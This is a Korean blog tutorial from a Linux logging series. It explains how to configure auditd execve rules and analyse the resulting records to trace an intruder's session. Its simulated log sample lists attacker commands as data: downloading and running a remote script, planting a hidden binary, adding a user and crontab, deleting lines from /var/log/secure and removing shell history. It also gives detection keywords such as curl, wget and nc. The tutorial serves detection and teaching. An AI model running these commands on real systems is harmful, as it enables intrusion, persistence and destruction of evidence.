Linux 로그 경로 정리 · 39/50 · Part 4. journald / rsyslog / auditd

선행 학습 → 38. audit.log 경로와 구조 · 서비스 · 프로세스 관리 시리즈
이번 글 → auditd로 execve 추적
이어서 → 40. auditd로 중요 파일 접근 추적

1. 들어가며

sudo /bin/bash 이후 공격자가 무엇을 했는지 secure 에는 남지 않습니다. 셸 히스토리는 history -c 나 rm ~/.bash_history 로 쉽게 지워집니다. execve 감사 규칙은 커널 수준에서 모든 프로그램 실행을 기록해 이 공백을 메웁니다.

핵심 요약

  • 규칙: -a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=unset -k exec_log (+ b32)
  • 핵심 분석 필드: auid(누가) · uid/euid(어떤 권한) · exe + EXECVE 인자(무엇을) · pid/ppid(어떤 흐름)
  • 모든 실행을 기록하면 로그가 폭증한다 → 로그인 사용자 실행으로 범위를 좁힌다.

2. 핵심 개념

규칙 요소의미
-a always,exit시스템 콜 종료 시 항상 기록
-F arch=b64 / b3264비트/32비트 호출 각각 필요 (32비트 우회 방지)
-S execve프로그램 실행 시스템 콜 (execveat 도 고려)
-F auid>=1000일반 로그인 사용자(배포판 UID_MIN 기준)
-F auid!=unset (4294967295)데몬·cron 등 로그인하지 않은 프로세스 제외
-F euid=0root 권한 실행만 (선택: 권한 상승 후 행위)
-k exec_log검색 키

3. 로그 생성 구조

execve 감사로 보는 프로세스 실행

sshd(4101) ── bash(4120, deploy) ── sudo(4150) ── bash(4151, root, auid=1001)
                                                      ├─ curl  (4188)  → EXECVE a0=curl ... -o /tmp/.x.sh
                                                      ├─ bash  (4190)  → EXECVE bash /tmp/.x.sh
                                                      │    └─ cp (4193, ppid=4190) → /usr/local/bin/.syscheck
                                                      ├─ useradd (4210)
                                                      ├─ crontab (4231)
                                                      ├─ sed (4502)    → /var/log/secure 변조
                                                      └─ rm  (4510)    → .bash_history 삭제
모두 auid=1001(deploy), ses=12 — ppid 로 트리를 재구성

4. 실제 로그 경로

/etc/audit/rules.d/50-exec.rules      규칙 파일 (영구)
/var/log/audit/audit.log              기록

5. 명령어 실습

# 규칙 파일 작성 (변경관리 승인 후) — 설정 파일이며 로그 파일이 아님
cat <<'EOF' | sudo tee /etc/audit/rules.d/50-exec.rules
-a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=unset -k exec_log
-a always,exit -F arch=b32 -S execve -F auid>=1000 -F auid!=unset -k exec_log
EOF
sudo augenrules --load && sudo auditctl -l | grep exec_log

# 실행 기록 조회
ausearch -k exec_log -ts today -i | grep -E '^type=(EXECVE|SYSCALL)'

# 특정 세션(ses)의 전체 실행 목록 — 명령줄만 간단히
ausearch -k exec_log --session 12 -i | grep '^type=EXECVE' | sed -E 's/.*argc=[0-9]+ //; s/(^| )a[0-9]+=/\1/g'

# 부모-자식 추적: ppid 로 상위 프로세스 찾기
ausearch -k exec_log -i | grep -E '^type=SYSCALL' | grep -oE 'ppid=[0-9]+ pid=[0-9]+ auid=[^ ]+ uid=[^ ]+ .*comm=[^ ]+' 

# 실행 파일별 요약
aureport -x --summary -i -ts today

6. 로그 예시

실제 실행 결과 — Rocky Linux 9.8 · root@rocky9-lab — execve 감사 규칙

위 이미지는 Rocky Linux 9.8 실습 환경의 실제 실행 결과입니다.

아래는 실습 시나리오 감사 로그(가상 데이터) 에서 EXECVE 인자만 추출한 실제 실행 결과입니다(48편 ioc.sh 의 일부).

[실제 실행 결과 · 입력: 실습용 가상 audit.log]
== [4] 실행 명령 (auditd EXECVE, key별) ==
/usr/local/bin/.syscheck
bash /tmp/.x.sh
cp /tmp/.x/syscheck /usr/local/bin/.syscheck
crontab /tmp/.x/cron.txt
curl -s http://198.51.100.23/x.sh -o /tmp/.x.sh
rm -f /root/.bash_history
sed -i /203.0.113.45/d /var/log/secure
sudo /bin/bash
useradd -m sysbackup

7. 로그 필드 분석

필드curl 이벤트 값분석
auiddeploy (1001)탈취된 계정으로 로그인한 사람
uid / euidrootsudo로 얻은 권한
exe/usr/bin/curl정상 바이너리 — 인자가 핵심
EXECVE 인자http://198.51.100.23/x.sh -o /tmp/.x.sh외부 스크립트 다운로드, 숨김 파일
pid / ppid4188 / 4151root 셸(4151)의 자식
syscallexecve (59)실행
ttypts1대화형 원격 세션

8. 보안관점

정상의심
관리 명령 (systemctl, vi /etc/...)`curl
알려진 경로 실행/tmp, /dev/shm, 숨김 경로 실행
인자가 평범base64 인코딩 인자(`echo ...
셸 히스토리와 일치히스토리 삭제 명령(rm .bash_history, history -c 는 셸 내장이라 execve 없음)

노이즈 관리: 모든 사용자 실행을 기록하면 CI/배포 계정이 대량 로그를 만듭니다. -F auid!=<배포계정UID> 제외, 또는 -F euid=0 로 root 실행만 기록하는 선택지를 검토합니다. 제외 대상은 문서화합니다.

9. SOC 관점

  • Detection: Wazuh에서 audit.key=exec_log + audit.execve.a0 가 curl|wget|nc|base64 인 경우 등 커스텀 룰(47편).
  • Triage: 실행 Alert → auid → 인증 로그의 출발지 IP.
  • Investigation: ses 로 세션 전체 명령을 순서대로 재구성 → 타임라인(49편).
  • IOC: 다운로드 URL, 드롭 파일 경로, 실행 파일 경로(48편).

10. 실습 체크리스트

[ ] execve 규칙(b64+b32, auid 필터, key) 작성
[ ] augenrules --load 로 적용, auditctl -l 확인
[ ] ausearch -k exec_log 로 실행 목록 조회
[ ] ses / ppid 로 세션·트리 재구성
[ ] 의심 실행 패턴 5가지 구분
[ ] 노이즈 제외 정책 문서화

11. 핵심 정리

  • execve 감사 규칙은 셸 히스토리가 지워져도 남는 실행 기록을 만든다.
  • 64비트와 32비트 규칙을 모두 둔다.
  • auid·uid·exe·인자·pid/ppid로 "누가, 어떤 권한으로, 무엇을, 어떤 흐름으로"를 답한다.
  • 정상 바이너리(curl, bash)도 인자로 악성 여부가 갈린다.
  • 로그 양은 auid·euid 필터로 조절하고 제외 기준을 문서화한다.

12. 다음 편 연결

구분글
◀ 이전 글38. audit.log 경로와 구조
▶ 다음 글40. auditd로 중요 파일 접근 추적
시리즈Linux 로그 경로 정리 전체 보기
선행 시리즈리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 · Linux 시스템 보안 기초
profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글